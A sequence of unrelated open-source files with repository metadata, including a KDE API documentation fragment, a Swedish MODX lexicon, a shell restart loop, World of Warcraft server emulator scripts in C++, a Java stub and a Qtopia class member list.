<td class="memname">bool wordWrap</td>
<td>(</td>
<td class="paramtype"> </td>
<td class="paramname"><em>self</em> )</td>
<td width="100%"> </td>
</tr>
</table>
</div>
<div class="memdoc"></div></div><hr><h2>Enumeration Documentation</h2><a class="anchor" name="MessageType"></a>
<div class="memitem">
<div class="memproto">
<table class="memname">
<tr><td class="memname">MessageType</td>
</tr>
</table>
</div>
<div class="memdoc"><dl compact><dt><b>Enumerator: </b></dt><dd>
<table border="0" cellspacing="2" cellpadding="0"><tr><td valign="top"><em>PlainMessage</em> </td><td><tr><td valign="top"><em>InfoMessage</em> </td><td><tr><td valign="top"><em>WarningMessage</em> </td><td><tr><td valign="top"><em>ErrorMessage</em> </td><td></table>
</dl>
</div></div><p>
</div>
</div>
</div>
<div id="left">
<div class="menu_box">
<div class="nav_list">
<ul>
<li><a href="../allclasses.html">Full Index</a></li>
</ul>
</div>
<a name="cp-menu" /><div class="menutitle"><div>
<h2 id="cp-menu-project">Modules</h2>
</div></div>
<div class="nav_list">
<ul><li><a href="../akonadi/index.html">akonadi</a></li>
<li><a href="../dnssd/index.html">dnssd</a></li>
<li><a href="../kdecore/index.html">kdecore</a></li>
<li><a href="../kdeui/index.html">kdeui</a></li>
<li><a href="../khtml/index.html">khtml</a></li>
<li><a href="../kio/index.html">kio</a></li>
<li><a href="../knewstuff/index.html">knewstuff</a></li>
<li><a href="../kparts/index.html">kparts</a></li>
<li><a href="../kutils/index.html">kutils</a></li>
<li><a href="../nepomuk/index.html">nepomuk</a></li>
<li><a href="../phonon/index.html">phonon</a></li>
<li><a href="../plasma/index.html">plasma</a></li>
<li><a href="../polkitqt/index.html">polkitqt</a></li>
<li><a href="../solid/index.html">solid</a></li>
<li><a href="../soprano/index.html">soprano</a></li>
</ul></div></div>
</div>
</div>
<div class="clearer"/>
</div>
<div id="end_body"></div>
</div>
<div id="footer"><div id="footer_text">
This documentation is maintained by <a href="mailto:simon@simonzone.com">Simon Edwards</a>.<br />
KDE<sup>®</sup> and <a href="../images/kde_gear_black.png">the K Desktop Environment<sup>®</sup> logo</a> are registered trademarks of <a href="http://ev.kde.org/" title="Homepage of the KDE non-profit Organization">KDE e.V.</a> |
<a href="http://www.kde.org/contact/impressum.php">Legal</a>
</div></div>
</body>
</html>
|
KDE/pykde4
|
docs/html/kdeui/KMessageWidget.html
|
HTML
|
gpl-2.0
| 20,784
|
<?php
/**
* Sources English lexicon topic
*
* @language en
* @package modx
* @subpackage lexicon
*/
$_lang['access'] = 'Åtkomsträttigheter';
$_lang['base_path'] = 'Bassökväg';
$_lang['base_path_relative'] = 'Relativ bassökväg?';
$_lang['base_url'] = 'Bas-URL';
$_lang['base_url_relative'] = 'Relativ bas-URL?';
$_lang['minimum_role'] = 'Minimiroll';
$_lang['path_options'] = 'Sökvägsalternativ';
$_lang['policy'] = 'Policy';
$_lang['source'] = 'Mediakälla';
$_lang['source_access_add'] = 'Lägg till användargrupp';
$_lang['source_access_remove'] = 'Ta bort tillgång';
$_lang['source_access_remove_confirm'] = 'Är du säker på att du vill ta bort tillgång till denna källa för denna användargrupp?';
$_lang['source_access_update'] = 'Uppdatera tillgång';
$_lang['source_create'] = 'Skapa ny mediakälla';
$_lang['source_description_desc'] = 'En kort beskrivning av mediakällan.';
$_lang['source_duplicate'] = 'Duplicera mediakälla';
$_lang['source_err_ae_name'] = 'Det finns redan en mediakälla med det namnet! Ange ett annat namn.';
$_lang['source_err_nf'] = 'Mediakällan kunde inte hittas!';
$_lang['source_err_nfs'] = 'Kan inte hitta mediakällan med id: [[+id]].';
$_lang['source_err_ns'] = 'Ange mediakällan.';
$_lang['source_err_ns_name'] = 'Ange ett namn för mediakällan.';
$_lang['source_name_desc'] = 'Mediakällans namn';
$_lang['source_properties.intro_msg'] = 'Hantera egenskaperna för denna källa nedan.';
$_lang['source_remove'] = 'Ta bort mediakälla';
$_lang['source_remove_confirm'] = 'Är du säker på att du vill ta bort denna mediakälla? Detta kan ha sönder mallvariabler som du har tilldelat till denna källa.';
$_lang['source_remove_multiple'] = 'Ta bort flera mediakällor';
$_lang['source_remove_multiple_confirm'] = 'Är du säker på att du vill ta bort dessa mediakällor? Detta kan ha sönder mallvariabler som du har tilldelat till dessa källor.';
$_lang['source_update'] = 'Uppdatera mediakälla';
$_lang['source_type'] = 'Källtyp';
$_lang['source_type_desc'] = 'Mediakällans typ eller drivrutin. Källan kommer att använda denna drivrutin för att ansluta när den hämtar sin data. Till exempel: Filsystem hämtar filer från filsystemet. S3 hämtar filer från en S3-hink.';
$_lang['source_type.file'] = 'Filsystem';
$_lang['source_type.file_desc'] = 'En filsystembaserad källa som navigerar bland din servers filer.';
$_lang['source_type.s3'] = 'Amazon S3';
$_lang['source_type.s3_desc'] = 'Navigerar en Amazon S3-hink.';
$_lang['source_types'] = 'Källtyper';
$_lang['source_types.intro_msg'] = 'Det här är en lista med alla de installerade typer av mediakällor som du har i denna MODX-instans.';
$_lang['source.access.intro_msg'] = 'Här kan du begränsa en mediakälla till specifika användargrupper och ange policyer för dessa användargrupper. En mediakälla som inte är ihopkopplad med några användargrupper är tillgänglig för alla användare av hanteraren.';
$_lang['sources'] = 'Mediakällor';
$_lang['sources.intro_msg'] = 'Hantera alla dina mediakällor här.';
$_lang['user_group'] = 'Användargrupp';
/* file source type */
$_lang['prop_file.allowedFileTypes_desc'] = 'Om denna aktiveras så kommer den att begränsa de filer som visas till endast de filsuffix som anges här. Skriv som en kommaseparerad lista utan punkter.';
$_lang['prop_file.basePath_desc'] = 'Den filsökväg som källan ska pekas mot.';
$_lang['prop_file.basePathRelative_desc'] = 'Om bassökvägen ovan inte är relativ till installationssökvägen för MODX, så sätter du den här till Nej.';
$_lang['prop_file.baseUrl_desc'] = 'Den URL som denna källa kan kommas åt från.';
$_lang['prop_file.baseUrlPrependCheckSlash_desc'] = 'Om denna sätts till "Ja" kommer MODX bara att lägga till baseURL i början av sökvägen om inget snedstreck (/) finns i början av URL:en när en mallvariabel ska visas. Det här är användbart om du vill ange ett värde på en mallvariabel som ligger utanför baseURL.';
$_lang['prop_file.baseUrlRelative_desc'] = 'Om inställningen för rot-URL ovan inte är relativ till MODX installations-URL sätter du denna till "Nej".';
$_lang['prop_file.imageExtensions_desc'] = 'En kommaseparerad lista med de filsuffix som ska användas som bilder. MODX kommer att försöka göra tumnaglar av filer med dessa suffix.';
$_lang['prop_file.skipFiles_desc'] = 'En kommaseparerad lista. MODX kommer att hoppa över och gömma filer och mappar som matchar någon av dessa.';
$_lang['prop_file.thumbnailQuality_desc'] = 'Kvalitén på de renderade tumnaglarna på en skala från 0-100.';
$_lang['prop_file.thumbnailType_desc'] = 'Den bildtyp som tumnaglarna ska renderas som.';
/* s3 source type */
$_lang['bucket'] = 'Hink';
$_lang['prop_s3.bucket_desc'] = 'Den S3-hink som din data ska laddas från.';
$_lang['prop_s3.key_desc'] = 'Amazons nyckel som ska användas för autentisering till hinken.';
$_lang['prop_s3.imageExtensions_desc'] = 'En kommaseparerad lista med de filsuffix som ska användas som bilder. MODX kommer att försöka göra tumnaglar av filer med dessa suffix.';
$_lang['prop_s3.secret_key_desc'] = 'Amazons hemliga nyckel som ska användas för autentisering till hinken.';
$_lang['prop_s3.skipFiles_desc'] = 'En kommaseparerad lista. MODX kommer att hoppa över och gömma filer och mappar som matchar någon av dessa.';
$_lang['prop_s3.thumbnailQuality_desc'] = 'Kvalitén på de renderade tumnaglarna på en skala från 0-100.';
$_lang['prop_s3.thumbnailType_desc'] = 'Den bildtyp som tumnaglarna ska renderas som.';
$_lang['prop_s3.url_desc'] = 'URL:en för Amazon S3-instansen.';
$_lang['s3_no_move_folder'] = 'S3-drivrutinen stödjer än så länge inte flyttning av mappar.';
|
svyatoslavteterin/belton.by
|
core/lexicon/sv/source.inc.php
|
PHP
|
gpl-2.0
| 5,705
|
# mandelbrotMPIVersion
A parallel computing version for drawing Mandelbrot Set. Using OpenGL-GLUT and OpenMPI.
|
windmgc/mandelbrotMPIVersion
|
README.md
|
Markdown
|
gpl-2.0
| 111
|
#!/bin/sh
exitnode=0
# Exit Code
function finish {
echo "[acs] Stopping Automatic Cinema Server"
exitnode=1
}
trap finish 2 3 8 15
# startup mongo & node
while (( $exitnode == 0 ))
do
./AutomaticCinemaServer
done
|
urshofer/automatic-cinema-server
|
start.sh
|
Shell
|
gpl-2.0
| 220
|
/*
* Copyright (C) 2008-2011 TrinityCore <http://www.trinitycore.org/>
* Copyright (C) 2006-2009 ScriptDev2 <https://scriptdev2.svn.sourceforge.net/>
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the
* Free Software Foundation; either version 2 of the License, or (at your
* option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
* more details.
*
* You should have received a copy of the GNU General Public License along
* with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/* ScriptData
SDName: Blades_Edge_Mountains
SD%Complete: 90
SDComment: Quest support: 10503, 10504, 10556, 10609, 10682, 10821, 10980. Ogri'la->Skettis Flight. (npc_daranelle needs bit more work before consider complete)
SDCategory: Blade's Edge Mountains
EndScriptData */
/* ContentData
mobs_bladespire_ogre
mobs_nether_drake
npc_daranelle
npc_overseer_nuaar
npc_saikkal_the_elder
go_legion_obelisk
EndContentData */
#include "ScriptPCH.h"
//Support for quest: You're Fired! (10821)
bool obelisk_one, obelisk_two, obelisk_three, obelisk_four, obelisk_five;
#define LEGION_OBELISK_ONE 185193
#define LEGION_OBELISK_TWO 185195
#define LEGION_OBELISK_THREE 185196
#define LEGION_OBELISK_FOUR 185197
#define LEGION_OBELISK_FIVE 185198
/*######
## mobs_bladespire_ogre
######*/
//TODO: add support for quest 10512 + Creature abilities
class mobs_bladespire_ogre : public CreatureScript
{
public:
mobs_bladespire_ogre() : CreatureScript("mobs_bladespire_ogre") { }
CreatureAI* GetAI(Creature* pCreature) const
{
return new mobs_bladespire_ogreAI (pCreature);
}
struct mobs_bladespire_ogreAI : public ScriptedAI
{
mobs_bladespire_ogreAI(Creature *c) : ScriptedAI(c) {}
void Reset() { }
void UpdateAI(const uint32 /*uiDiff*/)
{
if (!UpdateVictim())
return;
DoMeleeAttackIfReady();
}
};
};
/*######
## mobs_nether_drake
######*/
enum eNetherdrake
{
SAY_NIHIL_1 = -1000169, //signed for 5955
SAY_NIHIL_2 = -1000170, //signed for 5955
SAY_NIHIL_3 = -1000171, //signed for 5955
SAY_NIHIL_4 = -1000172, //signed for 20021, used by 20021, 21817, 21820, 21821, 21823
SAY_NIHIL_INTERRUPT = -1000173, //signed for 20021, used by 20021, 21817, 21820, 21821, 21823
ENTRY_WHELP = 20021,
ENTRY_PROTO = 21821,
ENTRY_ADOLE = 21817,
ENTRY_MATUR = 21820,
ENTRY_NIHIL = 21823,
SPELL_T_PHASE_MODULATOR = 37573,
SPELL_ARCANE_BLAST = 38881,
SPELL_MANA_BURN = 38884,
SPELL_INTANGIBLE_PRESENCE = 36513
};
class mobs_nether_drake : public CreatureScript
{
public:
mobs_nether_drake() : CreatureScript("mobs_nether_drake") { }
CreatureAI* GetAI(Creature* pCreature) const
{
return new mobs_nether_drakeAI (pCreature);
}
struct mobs_nether_drakeAI : public ScriptedAI
{
mobs_nether_drakeAI(Creature *c) : ScriptedAI(c) {}
bool IsNihil;
uint32 NihilSpeech_Timer;
uint32 NihilSpeech_Phase;
uint32 ArcaneBlast_Timer;
uint32 ManaBurn_Timer;
uint32 IntangiblePresence_Timer;
void Reset()
{
IsNihil = false;
NihilSpeech_Timer = 3000;
NihilSpeech_Phase = 0;
ArcaneBlast_Timer = 7500;
ManaBurn_Timer = 10000;
IntangiblePresence_Timer = 15000;
}
void EnterCombat(Unit* /*who*/) {}
void MoveInLineOfSight(Unit *who)
{
if (me->HasFlag(UNIT_FIELD_FLAGS, UNIT_FLAG_NON_ATTACKABLE))
return;
ScriptedAI::MoveInLineOfSight(who);
}
//in case Creature was not summoned (not expected)
void MovementInform(uint32 type, uint32 id)
{
if (type != POINT_MOTION_TYPE)
return;
if (id == 0)
{
me->setDeathState(JUST_DIED);
me->RemoveCorpse();
me->SetHealth(0);
}
}
void SpellHit(Unit *caster, const SpellEntry *spell)
{
if (spell->Id == SPELL_T_PHASE_MODULATOR && caster->GetTypeId() == TYPEID_PLAYER)
{
const uint32 entry_list[4] = {ENTRY_PROTO, ENTRY_ADOLE, ENTRY_MATUR, ENTRY_NIHIL};
int cid = rand()%(4-1);
if (entry_list[cid] == me->GetEntry())
++cid;
//we are nihil, so say before transform
if (me->GetEntry() == ENTRY_NIHIL)
{
DoScriptText(SAY_NIHIL_INTERRUPT, me);
me->RemoveFlag(UNIT_FIELD_FLAGS, UNIT_FLAG_NON_ATTACKABLE);
IsNihil = false;
}
if (me->UpdateEntry(entry_list[cid]))
{
if (entry_list[cid] == ENTRY_NIHIL)
{
EnterEvadeMode();
me->SetFlag(UNIT_FIELD_FLAGS, UNIT_FLAG_NON_ATTACKABLE);
IsNihil = true;
} else
AttackStart(caster);
}
}
}
void UpdateAI(uint32 const diff)
{
if (IsNihil)
{
if (NihilSpeech_Timer <= diff)
{
switch(NihilSpeech_Phase)
{
case 0:
DoScriptText(SAY_NIHIL_1, me);
++NihilSpeech_Phase;
break;
case 1:
DoScriptText(SAY_NIHIL_2, me);
++NihilSpeech_Phase;
break;
case 2:
DoScriptText(SAY_NIHIL_3, me);
++NihilSpeech_Phase;
break;
case 3:
DoScriptText(SAY_NIHIL_4, me);
++NihilSpeech_Phase;
break;
case 4:
me->SetFlag(UNIT_FIELD_FLAGS, UNIT_FLAG_NOT_SELECTABLE);
//take off to location above
me->GetMotionMaster()->MovePoint(0, me->GetPositionX()+50.0f, me->GetPositionY(), me->GetPositionZ()+50.0f);
++NihilSpeech_Phase;
break;
}
NihilSpeech_Timer = 5000;
} else NihilSpeech_Timer -=diff;
//anything below here is not interesting for Nihil, so skip it
return;
}
if (!UpdateVictim())
return;
if (IntangiblePresence_Timer <= diff)
{
DoCast(me->getVictim(), SPELL_INTANGIBLE_PRESENCE);
IntangiblePresence_Timer = 15000+rand()%15000;
} else IntangiblePresence_Timer -= diff;
if (ManaBurn_Timer <= diff)
{
Unit *pTarget = me->getVictim();
if (pTarget && pTarget->getPowerType() == POWER_MANA)
DoCast(pTarget, SPELL_MANA_BURN);
ManaBurn_Timer = 8000+rand()%8000;
} else ManaBurn_Timer -= diff;
if (ArcaneBlast_Timer <= diff)
{
DoCast(me->getVictim(), SPELL_ARCANE_BLAST);
ArcaneBlast_Timer = 2500+rand()%5000;
} else ArcaneBlast_Timer -= diff;
DoMeleeAttackIfReady();
}
};
};
/*######
## npc_daranelle
######*/
enum eDaranelle
{
SAY_SPELL_INFLUENCE = -1000174,
SPELL_LASHHAN_CHANNEL = 36904
};
class npc_daranelle : public CreatureScript
{
public:
npc_daranelle() : CreatureScript("npc_daranelle") { }
CreatureAI* GetAI(Creature* pCreature) const
{
return new npc_daranelleAI (pCreature);
}
struct npc_daranelleAI : public ScriptedAI
{
npc_daranelleAI(Creature *c) : ScriptedAI(c) {}
void Reset() { }
void EnterCombat(Unit* /*who*/) {}
void MoveInLineOfSight(Unit *who)
{
if (who->GetTypeId() == TYPEID_PLAYER)
{
if (who->HasAura(SPELL_LASHHAN_CHANNEL) && me->IsWithinDistInMap(who, 10.0f))
{
DoScriptText(SAY_SPELL_INFLUENCE, me, who);
//TODO: Move the below to updateAI and run if this statement == true
DoCast(who, 37028, true);
}
}
ScriptedAI::MoveInLineOfSight(who);
}
};
};
/*######
## npc_overseer_nuaar
######*/
#define GOSSIP_HELLO_ON "Overseer, I am here to negotiate on behalf of the Cenarion Expedition."
class npc_overseer_nuaar : public CreatureScript
{
public:
npc_overseer_nuaar() : CreatureScript("npc_overseer_nuaar") { }
bool OnGossipSelect(Player* pPlayer, Creature* pCreature, uint32 /*uiSender*/, uint32 uiAction)
{
pPlayer->PlayerTalkClass->ClearMenus();
if (uiAction == GOSSIP_ACTION_INFO_DEF+1)
{
pPlayer->SEND_GOSSIP_MENU(10533, pCreature->GetGUID());
pPlayer->AreaExploredOrEventHappens(10682);
}
return true;
}
bool OnGossipHello(Player* pPlayer, Creature* pCreature)
{
if (pPlayer->GetQuestStatus(10682) == QUEST_STATUS_INCOMPLETE)
pPlayer->ADD_GOSSIP_ITEM(GOSSIP_ICON_CHAT, GOSSIP_HELLO_ON, GOSSIP_SENDER_MAIN, GOSSIP_ACTION_INFO_DEF+1);
pPlayer->SEND_GOSSIP_MENU(10532, pCreature->GetGUID());
return true;
}
};
/*######
## npc_saikkal_the_elder
######*/
#define GOSSIP_HELLO_STE "Yes... yes, it's me."
#define GOSSIP_SELECT_STE "Yes elder. Tell me more of the book."
class npc_saikkal_the_elder : public CreatureScript
{
public:
npc_saikkal_the_elder() : CreatureScript("npc_saikkal_the_elder") { }
bool OnGossipSelect(Player* pPlayer, Creature* pCreature, uint32 /*uiSender*/, uint32 uiAction)
{
pPlayer->PlayerTalkClass->ClearMenus();
switch (uiAction)
{
case GOSSIP_ACTION_INFO_DEF+1:
pPlayer->ADD_GOSSIP_ITEM(GOSSIP_ICON_CHAT, GOSSIP_SELECT_STE, GOSSIP_SENDER_MAIN, GOSSIP_ACTION_INFO_DEF+2);
pPlayer->SEND_GOSSIP_MENU(10795, pCreature->GetGUID());
break;
case GOSSIP_ACTION_INFO_DEF+2:
pPlayer->TalkedToCreature(pCreature->GetEntry(), pCreature->GetGUID());
pPlayer->SEND_GOSSIP_MENU(10796, pCreature->GetGUID());
break;
}
return true;
}
bool OnGossipHello(Player* pPlayer, Creature* pCreature)
{
if (pPlayer->GetQuestStatus(10980) == QUEST_STATUS_INCOMPLETE)
pPlayer->ADD_GOSSIP_ITEM(GOSSIP_ICON_CHAT, GOSSIP_HELLO_STE, GOSSIP_SENDER_MAIN, GOSSIP_ACTION_INFO_DEF+1);
pPlayer->SEND_GOSSIP_MENU(10794, pCreature->GetGUID());
return true;
}
};
/*######
## go_legion_obelisk
######*/
class go_legion_obelisk : public GameObjectScript
{
public:
go_legion_obelisk() : GameObjectScript("go_legion_obelisk") { }
bool OnGossipHello(Player* pPlayer, GameObject* pGo)
{
if (pPlayer->GetQuestStatus(10821) == QUEST_STATUS_INCOMPLETE)
{
switch(pGo->GetEntry())
{
case LEGION_OBELISK_ONE:
obelisk_one = true;
break;
case LEGION_OBELISK_TWO:
obelisk_two = true;
break;
case LEGION_OBELISK_THREE:
obelisk_three = true;
break;
case LEGION_OBELISK_FOUR:
obelisk_four = true;
break;
case LEGION_OBELISK_FIVE:
obelisk_five = true;
break;
}
if (obelisk_one == true && obelisk_two == true && obelisk_three == true && obelisk_four == true && obelisk_five == true)
{
pGo->SummonCreature(19963, 2943.40f, 4778.20f, 284.49f, 0.94f, TEMPSUMMON_TIMED_DESPAWN_OUT_OF_COMBAT, 120000);
//reset global var
obelisk_one = false;
obelisk_two = false;
obelisk_three = false;
obelisk_four = false;
obelisk_five = false;
}
}
return true;
}
};
/*######
## npc_bloodmaul_brutebane
######*/
enum eBloodmaul
{
NPC_OGRE_BRUTE = 19995,
NPC_QUEST_CREDIT = 21241,
GO_KEG = 184315,
QUEST_GETTING_THE_BLADESPIRE_TANKED = 10512,
QUEST_BLADESPIRE_KEGGER = 10545,
};
class npc_bloodmaul_brutebane : public CreatureScript
{
public:
npc_bloodmaul_brutebane() : CreatureScript("npc_bloodmaul_brutebane") { }
CreatureAI* GetAI(Creature* creature) const
{
return new npc_bloodmaul_brutebaneAI(creature);
}
struct npc_bloodmaul_brutebaneAI : public ScriptedAI
{
npc_bloodmaul_brutebaneAI(Creature* creature) : ScriptedAI(creature)
{
if(Creature* Ogre = me->FindNearestCreature(NPC_OGRE_BRUTE, 50, true))
{
Ogre->SetReactState(REACT_DEFENSIVE);
Ogre->GetMotionMaster()->MovePoint(1, me->GetPositionX()-1, me->GetPositionY()+1, me->GetPositionZ());
}
}
uint64 OgreGUID;
void Reset()
{
OgreGUID = 0;
}
void UpdateAI(const uint32 /*uiDiff*/) {}
};
};
/*######
## npc_ogre_brute
######*/
class npc_ogre_brute : public CreatureScript
{
public:
npc_ogre_brute() : CreatureScript("npc_ogre_brute") { }
CreatureAI* GetAI(Creature* creature) const
{
return new npc_ogre_bruteAI(creature);
}
struct npc_ogre_bruteAI : public ScriptedAI
{
npc_ogre_bruteAI(Creature* creature) : ScriptedAI(creature) {}
uint64 PlayerGUID;
void Reset()
{
PlayerGUID = 0;
}
void MoveInLineOfSight(Unit* who)
{
if (!who || (!who->isAlive())) return;
if (me->IsWithinDistInMap(who, 50.0f))
{
if (who->GetTypeId() == TYPEID_PLAYER)
if (who->ToPlayer()->GetQuestStatus(QUEST_GETTING_THE_BLADESPIRE_TANKED || QUEST_BLADESPIRE_KEGGER) == QUEST_STATUS_INCOMPLETE)
PlayerGUID = who->GetGUID();
}
}
void MovementInform(uint32 /*type*/, uint32 id)
{
Player* pPlayer = Unit::GetPlayer(*me, PlayerGUID);
if (id == 1)
{
GameObject* Keg = me->FindNearestGameObject(GO_KEG, 20);
if (Keg)
Keg->Delete();
me->HandleEmoteCommand(7);
me->SetReactState(REACT_AGGRESSIVE);
me->GetMotionMaster()->MoveTargetedHome();
Creature* Credit = me->FindNearestCreature(NPC_QUEST_CREDIT, 50, true);
if (pPlayer && Credit)
pPlayer->KilledMonster(Credit->GetCreatureInfo(), Credit->GetGUID());
}
}
void UpdateAI(const uint32 /*diff*/)
{
if (!UpdateVictim())
return;
DoMeleeAttackIfReady();
}
};
};
/*######
## AddSC
######*/
void AddSC_blades_edge_mountains()
{
new mobs_bladespire_ogre();
new mobs_nether_drake();
new npc_daranelle();
new npc_overseer_nuaar();
new npc_saikkal_the_elder();
new go_legion_obelisk();
new npc_bloodmaul_brutebane();
new npc_ogre_brute();
}
|
SeTM/MythCore
|
src/server/scripts/Outland/blades_edge_mountains.cpp
|
C++
|
gpl-2.0
| 16,406
|
package geeksforgeeks.divide.conquer;
/*
* http://chuansongme.com/n/122759
*
* This is actually dutch national flag problem. See SortList.java.
*
* Check the above link for another solution
*/
public class Sort123 {
}
|
sindhujapr/ms_prep
|
companies/geeksforgeeks/divide/conquer/Sort123.java
|
Java
|
gpl-2.0
| 227
|
/*
* Copyright (C) 2011-2021 Project SkyFire <https://www.projectskyfire.org/>
* Copyright (C) 2008-2021 TrinityCore <http://www.trinitycore.org/>
* Copyright (C) 2005-2021 MaNGOS <https://www.getmangos.eu/>
* Copyright (C) 2006-2014 ScriptDev2 <https://github.com/scriptdev2/scriptdev2/>
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the
* Free Software Foundation; either version 3 of the License, or (at your
* option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
* more details.
*
* You should have received a copy of the GNU General Public License along
* with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/* ScriptData
SDName: Instance_Razorfen_Kraul
SD%Complete:
SDComment:
SDCategory: Razorfen Kraul
EndScriptData */
#include "ScriptMgr.h"
#include "InstanceScript.h"
#include "razorfen_kraul.h"
#include "Player.h"
#define WARD_KEEPERS_NR 2
class instance_razorfen_kraul : public InstanceMapScript
{
public:
instance_razorfen_kraul() : InstanceMapScript("instance_razorfen_kraul", 47) { }
InstanceScript* GetInstanceScript(InstanceMap* map) const OVERRIDE
{
return new instance_razorfen_kraul_InstanceMapScript(map);
}
struct instance_razorfen_kraul_InstanceMapScript : public InstanceScript
{
instance_razorfen_kraul_InstanceMapScript(Map* map) : InstanceScript(map) { }
uint64 DoorWardGUID;
int WardKeeperDeath;
void Initialize() OVERRIDE
{
WardKeeperDeath = 0;
DoorWardGUID = 0;
}
Player* GetPlayerInMap()
{
Map::PlayerList const& players = instance->GetPlayers();
if (!players.isEmpty())
{
for (Map::PlayerList::const_iterator itr = players.begin(); itr != players.end(); ++itr)
{
if (Player* player = itr->GetSource())
return player;
}
}
SF_LOG_DEBUG("scripts", "Instance Razorfen Kraul: GetPlayerInMap, but PlayerList is empty!");
return NULL;
}
void OnGameObjectCreate(GameObject* go) OVERRIDE
{
switch (go->GetEntry())
{
case 21099: DoorWardGUID = go->GetGUID(); break;
case 20920: go->SetUInt32Value(GAMEOBJECT_FIELD_FACTION_TEMPLATE, 0); break; // big fat fugly hack
}
}
void Update(uint32 /*diff*/) OVERRIDE
{
if (WardKeeperDeath == WARD_KEEPERS_NR)
if (GameObject* go = instance->GetGameObject(DoorWardGUID))
{
go->SetUInt32Value(GAMEOBJECT_FIELD_FLAGS, 33);
go->SetGoState(GOState::GO_STATE_ACTIVE);
}
}
void SetData(uint32 type, uint32 /*data*/) OVERRIDE
{
switch (type)
{
case EVENT_WARD_KEEPER: WardKeeperDeath++; break;
}
}
};
};
void AddSC_instance_razorfen_kraul()
{
new instance_razorfen_kraul();
}
|
ProjectSkyfire/SkyFire.548
|
src/server/scripts/Kalimdor/RazorfenKraul/instance_razorfen_kraul.cpp
|
C++
|
gpl-2.0
| 3,367
|
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>List of All Members for QtopiaTimer</title>
<link href="classic.css" rel="stylesheet" type="text/css" />
</head>
<body>
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tr>
<td align="left" valign="top" width="32"><img src="images/qpelogo.png" align="left" width="32" height="32" border="0" /></td>
<td width="1"> </td><td class="postheader" valign="center"><a href="index.html"><font color="#004faf">Home</font></a> · <a href="classes.html"><font color="#004faf">All Classes</font></a> · <a href="groups.html"><font color="#004faf">Grouped Classes</font></a> · <a href="annotated.html"><font color="#004faf">Annotated</font></a> · <a href="functions.html"><font color="#004faf">Functions</font></a></td>
<td align="right" valign="top"><img src="images/codeless.png" align="right" border="0" /></td></tr></table><h1 class="title">List of All Members for QtopiaTimer</h1>
<p>This is the complete list of members for <a href="qtopiatimer.html">QtopiaTimer</a>, including inherited members.</p>
<p><table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr><td width="45%" valign="top"><ul>
<li><div class="fn"/>enum <a href="qtopiatimer.html#Type-enum">Type</a></li>
<li><div class="fn"/><a href="qtopiatimer.html#QtopiaTimer">QtopiaTimer</a> ( QObject * )</li>
<li><div class="fn"/><a href="qtopiatimer.html#dtor.QtopiaTimer">~QtopiaTimer</a> ()</li>
<li><div class="fn"/><a href="qobject.html#blockSignals">blockSignals</a> ( bool )</li>
<li><div class="fn"/><a href="qobject.html#childEvent">childEvent</a> ( QChildEvent * )</li>
<li><div class="fn"/><a href="qobject.html#children">children</a> () const</li>
<li><div class="fn"/><a href="qobject.html#connect">connect</a> ( const QObject *, const char *, const QObject *, const char *, Qt::ConnectionType )</li>
<li><div class="fn"/><a href="qobject.html#connect-2">connect</a> ( const QObject *, const char *, const char *, Qt::ConnectionType ) const</li>
<li><div class="fn"/><a href="qobject.html#connectNotify">connectNotify</a> ( const char * )</li>
<li><div class="fn"/><a href="qobject.html#customEvent">customEvent</a> ( QEvent * )</li>
<li><div class="fn"/><a href="qobject.html#d_ptr-var">d_ptr</a> : </li>
<li><div class="fn"/><a href="qobject.html#deleteLater">deleteLater</a> ()</li>
<li><div class="fn"/><a href="qobject.html#destroyed">destroyed</a> ( QObject * )</li>
<li><div class="fn"/><a href="qobject.html#disconnect">disconnect</a> ( const QObject *, const char *, const QObject *, const char * )</li>
<li><div class="fn"/><a href="qobject.html#disconnect-2">disconnect</a> ( const char *, const QObject *, const char * )</li>
<li><div class="fn"/><a href="qobject.html#disconnect-3">disconnect</a> ( const QObject *, const char * )</li>
<li><div class="fn"/><a href="qobject.html#disconnectNotify">disconnectNotify</a> ( const char * )</li>
<li><div class="fn"/><a href="qobject.html#dumpObjectInfo">dumpObjectInfo</a> ()</li>
<li><div class="fn"/><a href="qobject.html#dumpObjectTree">dumpObjectTree</a> ()</li>
<li><div class="fn"/><a href="qobject.html#dynamicPropertyNames">dynamicPropertyNames</a> () const</li>
<li><div class="fn"/><a href="qobject.html#event">event</a> ( QEvent * )</li>
<li><div class="fn"/><a href="qobject.html#eventFilter">eventFilter</a> ( QObject *, QEvent * )</li>
<li><div class="fn"/><a href="qobject.html#findChild">findChild</a> ( const QString & ) const</li>
<li><div class="fn"/><a href="qobject.html#findChildren">findChildren</a> ( const QString & ) const</li>
<li><div class="fn"/><a href="qobject.html#findChildren-2">findChildren</a> ( const QRegExp & ) const</li>
<li><div class="fn"/><a href="qobject.html#inherits">inherits</a> ( const char * ) const</li>
<li><div class="fn"/><a href="qobject.html#installEventFilter">installEventFilter</a> ( QObject * )</li>
<li><div class="fn"/><a href="qtopiatimer.html#interval">interval</a> () const : int</li>
<li><div class="fn"/><a href="qtopiatimer.html#isActive">isActive</a> () const : bool</li>
</ul></td><td valign="top"><ul>
<li><div class="fn"/><a href="qtopiatimer.html#isSingleShot">isSingleShot</a> () const : bool</li>
<li><div class="fn"/><a href="qobject.html#isWidgetType">isWidgetType</a> () const</li>
<li><div class="fn"/><a href="qobject.html#killTimer">killTimer</a> ( int )</li>
<li><div class="fn"/><a href="qobject.html#metaObject">metaObject</a> () const</li>
<li><div class="fn"/><a href="qobject.html#moveToThread">moveToThread</a> ( QThread * )</li>
<li><div class="fn"/><a href="qobject.html#objectName-prop">objectName</a> () const</li>
<li><div class="fn"/><a href="qobject.html#parent">parent</a> () const</li>
